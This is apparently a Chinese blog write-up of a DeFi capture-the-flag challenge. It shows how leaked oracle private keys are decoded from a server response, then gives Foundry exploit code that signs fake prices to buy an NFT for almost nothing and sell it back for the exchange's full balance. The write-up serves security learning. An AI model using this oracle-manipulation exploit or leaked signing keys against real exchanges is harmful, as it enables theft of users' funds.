突然發現好像可以不用放圖出來,反正我都會把敘述丟上來 = =
While poking around a web service of one of the most popular DeFi projects in the space, you get a strange response from the server. Here’s a snippet:
---------------------------------------------------------------------
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare
4d 48 67 33 5a 44 45 31 59 6d 4a 68 4d 6a 5a 6a 4e 54 49 7a 4e 6a 67 7a 59 6d 5a 6a 4d 32 52 6a 4e 32 4e 6b 59 7a 56 6b 4d 57 49 34 59 54 49 33 4e 44 51 30 4e 44 63 31 4f 54 64 6a 5a 6a 52 6b 59 54 45 33 4d 44 56 6a 5a 6a 5a 6a 4f 54 6b 7a 4d 44 59 7a 4e 7a 51 30
4d 48 67 32 4f 47 4a 6b 4d 44 49 77 59 57 51 78 4f 44 5a 69 4e 6a 51 33 59 54 59 35 4d 57 4d 32 59 54 56 6a 4d 47 4d 78 4e 54 49 35 5a 6a 49 78 5a 57 4e 6b 4d 44 6c 6b 59 32 4d 30 4e 54 49 30 4d 54 51 77 4d 6d 46 6a 4e 6a 42 69 59 54 4d 33 4e 32 4d 30 4d 54 55 35
---------------------------------------------------------------------
A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each.
This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0x188...088, 0xA41...9D8 and 0xab3...a40.
Starting with just 0.1 ETH in balance, pass the challenge by rescuing all ETH available in the exchange. Then deposit the funds into the designated recovery account.
老實說我看到這題的時候真的是一頭霧水,彷彿看到了 Web2.0 的 ctf
然後我就很直覺的把那兩串拿去 decode,然後得到這兩串
MHg3ZDE1YmJhMjZjNTIzNjgzYmZjM2RjN2NkYzVkMWI4YTI3NDQ0NDc1OTdjZjRkYTE3MDVjZjZjOTkzMDYzNzQ0
MHg2OGJkMDIwYWQxODZiNjQ3YTY5MWM2YTVjMGMxNTI5ZjIxZWNkMDlkY2M0NTI0MTQwMmFjNjBiYTM3N2M0MTU5
然後現在看起來像 b64,於是我又拿去 decode
0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744
0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159
看起來是兩個地址,然後我才看到題目下面有其它敘述XD
題目給出的資訊是現在有一個 NFT 超級貴,每個價值 999 ETH,這個價格是由鏈上預言機從三個受信任的報告者那裡獲取的,然後又是經典的我們只有 0.1 ETH,然後與要想辦法將那些 ETH 轉移到恢復帳號為什麼不是把 NFT 直接轉走
這一題有三個合約,其中 Exchange.sol
的功能是一個類似 NFT 交易所的東西,然後交易完的 ETH 會直接存在這個合約裡面,然後依照題目所說交易價格來自預言機,我們可以在 Compromised.t.sol
中找到它們的來源地址
address[] sources = [
0x188Ea627E3531Db590e6f1D71ED83628d1933088,
0xA417D473c40a4d42BAd35f147c21eEa7973539D8,
0xab3600bF153A316dE44827e2473056d56B774a40
];
那我們就可以合理推測上面 curl 回傳的東西是其中兩個預言機的私鑰
感覺其實東西都還算齊全,那我們就可以來思考該如何把錢撈走
統整完上面的內容,因為我們已經把私鑰還原出來了,所以我們可以直接利用預言機修改 NFT 的價格,那詳細的步驟如下:
至於私鑰怎麼恢復的,可以使用好用工具,使用方法非常直覺,就東西丟進去按 convert 就好了,然後順序是 hex -> base64
sol 參考 Ching367436 大大
function test_compromised() public checkSolved {
// 設置 Oracle 價格為 0,以便玩家購買 NFT
Bluff(0);
// 玩家購買 NFT,無需支付 ETH
vm.startPrank(player,player);
exchange.buyOne{value: 1}();
vm.stopPrank();
// 設置 Oracle 價格為交易所當前餘額,準備出售 NFT
Bluff(address(exchange).balance);
// 玩家授權並出售 NFT
vm.startPrank(player,player);
nft.approve(address(exchange), 0);
exchange.sellOne(0);
// 將交易所餘額轉移到 recovery 地址
(bool success, ) = payable(recovery).call{value: EXCHANGE_INITIAL_ETH_BALANCE}("");
require(success, "Transfer failed");
vm.stopPrank();
// 恢復 Oracle 的初始價格
Bluff(INITIAL_NFT_PRICE);
}
function Bluff(uint256 newPrice) public {
// 預言機私鑰
uint256[2] memory privateKeys = [
0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744, // PK_1
0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159 // PK_2
];
// 使用兩個私鑰發布新價格
for (uint256 i = 0; i < 2; i++) {
vm.startBroadcast(privateKeys[i]);
oracle.postPrice(nft.symbol(), newPrice);
vm.stopBroadcast();
}
}
寫掛過一次,因為購買 NFT 那裡填了 0,買了個寂寞😔
每日梗圖(1/1)